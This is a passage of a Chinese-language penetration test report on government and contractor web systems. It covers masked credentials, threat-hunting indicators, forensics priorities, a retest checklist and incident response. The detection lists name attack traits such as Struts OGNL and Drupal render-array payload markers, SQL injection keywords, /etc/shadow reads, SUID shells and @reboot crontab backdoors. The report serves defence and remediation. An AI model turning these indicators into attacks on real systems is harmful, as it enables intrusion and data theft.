配置文件和命令历史保存口令
凭据泄露
获取系统、数据库和支付权限
SSH私钥跨主机复用
横向移动
从前置代理扩展到数据库与同步主机
系统、数据库和密钥库口令复用
单点泄露影响多系统
主站后端root与多库控制
Drupal长期未修补
www-data命令执行
形成第二条独立内网入口
Web目录备份和SQL导出
源码与账号泄露
降低注入和后台接管成本
默认口令、SQL注入与路径穿越
应用层失守
投诉与承包商系统全面接管

这类风险的关键特征是信任边界被连续跨越。Web用户信任可读取的配置文件,系统账号信任复用口令,SSH目标信任共享私钥,数据库信任过宽的跨库权限。攻击者不需要突破每一层,只需找到一个能连接下一层的弱点。

7.2 关键凭据与数据暴露面

确认的关键凭据和敏感数据包括:

类别
内容
可影响范围
系统账号
deploy-x/********
192.168.xxx.20与192.168.xxx.40,sudo至root
数据库
db-x/********@192.168.xxx.30:3306
main_db、oauth_db、wordpress、phpbb、wrapper_db、web_logs
Laravel密钥
APP_KEY=base64:********
会话与加密数据
支付网关
payment.gateway.clientpassword=、payment.gateway.lgpspassword=
PayGW支付接口
JKS
trust_store_password=********
签名与信任密钥库
SSH私钥
3072位RSA,MD5=[哈希已脱敏]
192.168.xxx.10、192.168.xxx.60、192.168.xxx.70
contractx数据库
db-user-x/********
contractx_db
contractx后台
admin-x/********、admin-y/********及多个弱口令
承包商后台
投诉管理员
后台口令使用弱哈希
投诉后台
投诉业务账号
staff-a/********、staff-b/********、staff-c/、staff-d/
投诉业务功能

主站数据库可访问多个业务库,投诉系统包含约2500条用户记录与约170条投诉记录,contractx库包含47张表和24个后台管理员账号。数据范围涉及姓名、电话、邮箱、投诉内容、承包商信息、项目、发票、员工信息与管理员资料。

7.3 检测与威胁狩猎

边界和Web日志应重点检索:

  • 参数名包含redirect:、action:、${或%24%7B的请求;
  • Drupal路径中包含#post_render、#markup和/file/ajax/name/%23value/的请求;
  • SQL注入特征,包括UNION、SLEEP、information_schema、OR 1=1和反斜杠逃逸;
  • 对/db/db.sql、*.zip、*.tar.gz、*.sql和敏感目录列表的异常访问;

主机日志应关注:

  • tomcat或www-data用户执行系统命令、读取/etc/shadow和访问配置目录;
  • 新增或权限变化的SUID/SGID文件,特别是/usr/bin/bash2;
  • 同一SSH公钥短时间内登录多台主机;
  • ops-x、deploy-x等高权限账号的异常来源、sudo命令和历史登录;
  • Web目录、authorized_keys、crontab和systemd服务的异常变更;
  • ops-x家目录中的.migbak/bd、.cache/net-dhcp和@reboot crontab。

数据库应关注:

  • 应用账号跨库访问和批量SELECT;
  • information_schema枚举、UNION查询、SLEEP调用;
  • INTO OUTFILE、LOAD_FILE和高危DDL/DCL操作;
  • oauth_db、web_logs与多站点库的异常访问;
  • 大批量用户、管理员、发票和项目数据导出。

7.4 主机取证重点

192.168.xxx.20、192.168.xxx.80、192.168.xxx.10和192.168.xxx.40均应按潜在失陷主机处理。取证顺序应优先保存易失性数据,再固定磁盘与配置证据。

重点采集内存、磁盘、进程、网络连接、登录日志、命令历史和配置差异,并排查webshell、异常crontab、异常systemd服务、可疑二进制、SSH授权记录与数据库新增账号。

前置代理上的两个约6MB的static ELF文件与@reboot crontab条目应与第三方运维记录核对。ERL主机还存在历史渗透遗留痕迹和可疑root二进制,建议完成证据固定后直接重建,降低残留后门风险。

7.5 复测与验证清单

整改完成后,应至少完成以下验证:

  1. https://www.gov.xxx/services/erl/ 的S2-016载荷返回400或403,无法执行表达式和系统命令;
  2. /usr/bin/bash2不存在或已移除SUID位,tomcat用户无法获得euid=0;
  3. data.gov.xxx的#post_render与#markup载荷被拦截,/file/ajax/name/%23value/无法执行命令;
  4. /db/db.sql返回404或403,Web目录中无其他SQL、ZIP、TAR和备份文件;
  5. 投诉系统登录、cid和search参数无法注入,恒真载荷返回登录失败或空结果;
  6. reset-password.php必须校验一次性令牌,不能仅凭邮箱和手机号修改口令;
  7. contractx.zip、contractx_dil.zip和contractx_new.zip返回404或403,敏感目录列表关闭;
  8. project-invoice的prj和inv无法注入,UNION、SLEEP与information_schema请求被阻断;
  9. C-xxxxx/********登录失败,所有承包商账号完成随机口令轮换并强制首次修改;
  10. news_img的group_id无法包含../,最终路径无法逃逸上传基目录;
  11. 全部旧口令、旧私钥和旧客户端密钥失效,旧会话与旧令牌无法继续使用;
  12. SSH、数据库和后台启用MFA或证书认证,来源限制与审计正常生效;
  13. 主机取证确认无webshell、异常crontab、异常服务、可疑二进制和未授权SSH条目;
  14. 关键业务日志、数据库日志与边界日志已接入集中告警,能够检测文中列出的攻击特征;
  15. 主站代码、数据库内容、配置文件和公开发布内容完成完整性校验,未发现未授权修改。

十、应急响应与数据泄露处置

发现入侵迹象后,应立即隔离受影响主机,同时保留内存、磁盘、日志和网络流量证据。凭据轮换不能替代取证,尤其在共享私钥、APP_KEY、JKS、OAuth客户端和数据库权限同时暴露的情况下,应先确认是否存在持久化、新建账号和二次外联,再按依赖关系分批轮换,避免遗漏旧副本。

数据泄露评估应覆盖main_db、oauth_db、wordpress、phpbb、wrapper_db与web_logs。业务数据范围还包括投诉系统约2500条用户记录、约170条投诉记录,以及contractx的47张表和24个管理员账号。

日志排查应覆盖数据库、SSH、Web、F5和管理后台,确认攻击者是否访问、导出、修改或删除了数据,是否创建账号、令牌、证书或持久化任务。除数据量外,还应关注跨库访问、批量导出与异常时间窗口。

完成遏制后,应重建可疑主机、恢复可信版本、重新签发身份凭据、恢复业务服务并持续观察。对外沟通应由业务、法务、公关和安全团队统一协调,按适用法律法规与政策要求向监管机构、受影响用户和相关方通报。事后复盘应更新威胁模型、检测规则、访问控制、补丁基线和应急预案。

十一、免责与合规声明

本次安全评估在取得相关方明确授权的前提下开展,测试目标、访问范围和操作边界均经过确认。评估过程遵循最小影响与非破坏性原则,不包含未授权入侵、恶意破坏、数据传播或任何影响业务连续性的操作。

本文仅用于授权安全评估、风险复盘、防御建设和安全研究,不构成对任何真实系统实施未授权测试的指引。任何个人或组织不得将文中方法用于违法扫描、入侵、篡改、窃取数据或破坏系统;未经授权实施上述行为可能承担法律责任。读者仅应在自身拥有或已取得明确授权的环境中使用相关技术,并遵守适用法律法规与网络安全管理要求。


— 阅读原文请访问微信公众号「星宇Sec」 · 原文链接 —

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容